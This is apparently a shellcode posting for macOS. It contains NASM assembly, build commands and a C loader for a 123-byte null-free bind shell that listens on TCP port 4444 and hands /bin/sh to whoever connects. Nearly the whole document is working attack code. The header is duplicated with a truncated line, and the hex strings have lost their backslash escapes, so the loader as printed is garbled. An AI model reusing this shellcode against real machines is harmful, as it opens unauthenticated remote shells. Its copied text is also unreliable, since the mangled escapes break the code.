macOS TCP 4444 Bind Shell Null Free Shellcode

/*
# Title: macOS - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (123 bytes)
# Date: 2019-02-17
# Tested: macOS 10.14.1
# Author: Ken Kitahara
# Compilation: g /*
# Title: macOS - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (123 bytes)
# Date: 2019-02-17
# Tested: macOS 10.14.1
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c

dev:works devuser$ sw_vers
ProductName: Mac OS X
ProductVersion: 10.14.1
BuildVersion: 18B75
dev:works devuser$ cat ipv4bind.s
section .text
global start
start:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall

; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi

; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall

; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2

; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
dev:works devuser$ nasm -f macho64 -o ipv4bind.o ipv4bind.s && ld -macosx_version_min 10.7.0 -o ipv4bind ipv4bind.o
dev:works devuser$ for i in $(objdump -d ./ipv4bind.o | grep "^ " | cut -f2); do echo -n 'x'$i; done; echo
x48x31xffx48xf7xe7x40xb7x02x48x31xf6x40xb6x01xb0x02x48xc1xc8x28x49x89xc0xb0x61x0fx05x48xc7xc6xf0xfdxeexa3x48xf7xdex56x54x5ex48x89xc7x80xf2x10x4cx89xc0xb0x68x0fx05x48x31xf6x40xb6x02x4cx89xc0xb0x6ax0fx05x48x31xf6x48x31xd2x4cx89xc0xb0x1ex0fx05x48x89xc7x40xb6x03x4cx89xc0xb0x5ax40x80xeex01x0fx05x48x85xf6x75xf0x56x48xbfx2fx2fx62x69x6ex2fx73x68x57x54x5fx4cx89xc0xb0x3bx0fx05
dev:works devuser$
*/

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] =
"x48x31xffx48xf7xe7x40xb7x02x48x31xf6x40xb6x01xb0x02x48xc1xc8x28x49x89xc0xb0x61x0fx05x48xc7xc6xf0xfdxeexa3x48xf7xdex56x54x5ex48x89xc7x80xf2x10x4cx89xc0xb0x68x0fx05x48x31xf6x40xb6x02x4cx89xc0xb0x6ax0fx05x48x31xf6x48x31xd2x4cx89xc0xb0x1ex0fx05x48x89xc7x40xb6x03x4cx89xc0xb0x5ax40x80xeex01x0fx05x48x85xf6x75xf0x56x48xbfx2fx2fx62x69x6ex2fx73x68x57x54x5fx4cx89xc0xb0x3bx0fx05";

int main(int argc, char **argv) {
printf("Shellcode Length: %zd Bytes ", strlen(shellcode));

void *ptr = mmap(0, 0x22, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}

memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;

sc();

return 0;
}